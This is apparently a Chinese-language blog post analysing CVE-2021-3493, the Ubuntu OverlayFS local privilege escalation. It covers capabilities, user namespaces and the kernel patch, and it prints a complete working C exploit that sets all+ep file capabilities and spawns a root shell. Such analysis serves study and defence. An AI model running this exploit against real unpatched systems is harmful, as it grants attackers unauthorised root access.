简介

OverlayFS 是一种叠合式文件系统,能够在底层文件系统上叠加另一个文件系统,Linux 内核中 overlayfs 文件系统是 Ubuntu 的特定问题,由于没有正确的验证文件系统功能在用户名称空间中的应用,从而导致攻击者可以安装一个允许未授权挂载的 overlayfs 修补程序来提升权限

漏洞复现

Ubuntu内核提权漏洞复现(CVE-2021-3493)

漏洞分析

Overlayfs

Overlayfs是一种类似aufs的一种堆叠文件系统,它依赖并建立在其它的文件系统之上(例如ext4fs和xfs等等),并不直接参与磁盘空间结构的划分,仅仅将原来底层文件系统中不同的目录进行“合并”,然后向用户呈现。因此对于用户来说,它所见到的overlay文件系统根目录下的内容就来自挂载时所指定的不同目录的“合集”。

![效果图](https://cdn.starryloki.com/2023/11/8966dcc1d078f65d886e06b244d02623.png)
效果图

Linux Capability机制

Linux内核2.2之后引入了capabilities机制,此前Linux的进程有两类: privileged (effective UID = 0)和unprivileged (effective UID != 0),前者的进程可以绕过所有的内核权限检查,后者则需要进行严格的权限检查。引入capabilities之后,系统会检查effective UID ! = 0进程的capabilities来确认进程是否有执行特权操作的权限。
Linux下可以通过man capabilities来列出capabilities。

User Namespaces

User Namespaces用于隔离用户和用户组,一个用户可以在一个user namespace中是普通用户,但在另一个user namespace中是超级用户。Linux中/proc/PID/uid_map/proc/PID/gie_map中存储着映射关系,映射关系格式为ID-inside-ns ID-outside-ns length,比如 0 1000 500 表明父user namespace中的1000-1500映射到新user namespace中的0-500。

漏洞原理

一般情况下挂载文件系统需要特权,而在Ubuntu中,普通用户就可以挂载Overlayfs,这源于linux_5.4.0-26-30的更新,在ovl_fs_type结构体中添加了fs_flags数据域,对应值为FS_USERNS_MOUNT

![update](https://cdn.starryloki.com/2023/11/99536c80662456c4ff6319b98b9deed5.png)
linux_5.4.0-26-30中对ovl_fs_type结构体的修改

这样一来,普通用户也能挂载overlay文件系统,挂载时经过了看不懂的复杂的函数调用链,使得挂载进程的user namespace获得了root权限

而在调用setxattr()函数对文件扩展属性的capability进行设置时,权限校验不彻底,于是可以将文件的capability设置成all+ep,具有高权限。

EXP分析

首先附上完整EXP:

EXP

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE "./ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;

if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);

char buf[4096];
ssize_t rd, wr;

for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, "read %s", src);
}

char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, "write %s", dst);
}
p += wr;
rd -= wr;
}
}

close(fi);
close(fo);
}

static int exploit()
{
char buf[4096];

sprintf(buf, "rm -rf '%s/'", DIR_BASE);
system(buf);

xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);

uid_t uid = getuid();
gid_t gid = getgid();

if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");

xwritefile("/proc/self/setgroups", "deny");

sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);

sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);

sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);

// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);

return 0;
}

int main(int argc, char *argv[])
{
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}

pid_t child = fork();
if (child == -1)
err(1, "fork");

if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}

execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}

分析

首先看Main函数,该函数fork了子进程并用子进程调用exploit,于是我们跟到exploit函数。

![exploit分析](https://cdn.starryloki.com/2023/11/79e5888c033c79a0d74db88b176dabc4.png)
exploit函数分析

漏洞利用的要点是:在使用setxattr()设置capability时,参数上是对./ovlcap/merge/magic设置,而实际上是对./ovlcap/upper/magic进行设置,这里出现了一层由overlay“转发”(merge转发到upper)的操作,正是这一层转发操作跳过了cap_convert_nscap中的权限检查,于是可以将文件设置成all+ep的高权限。这里引用一下大佬的权限逃逸过程:

![权限逃逸过程](https://cdn.starryloki.com/2023/11/3ab120f00faf0fa9819ea890b7ecdae7.png)
权限逃逸过程
后面我们在回到Main函数,因为已经得到具有高权限的二进制,所以就很容易拿到shell了。
![回到Main](https://cdn.starryloki.com/2023/11/c119f53be76c0ba0f20db0dc2dd79120.png)
权限提升后的操作

补丁分析

2021年4月12日的内核补丁对这个漏洞进行了修补,具体实现是每次进入vfs_setxattr函数时,都通过cap_convert_nscap()校验权限,判断capability和user namespace的权限是否匹配,防止出现经过overlay“转发”后权限逃逸的情况。

patch

总结

这是第一次对Linux内核漏洞进行分析,几乎都是看着大佬的文章一步一步跟着走的,也发现了自己的知识面有许多不足,受限于知识水平也无法从内存以及函数调用链分析,只能从表层函数简单地分析原理。

经过这一次的漏洞分析,我对Linux的权限管理,文件系统等方面有了更加深刻的认识,后续有能力了再进行函数调用链以及内存分析…..

参考文章

CVE-2021-3493 Ubuntu内核OverlayFS权限逃逸漏洞分析
深入理解overlayfs(一):初识
创建 user namespace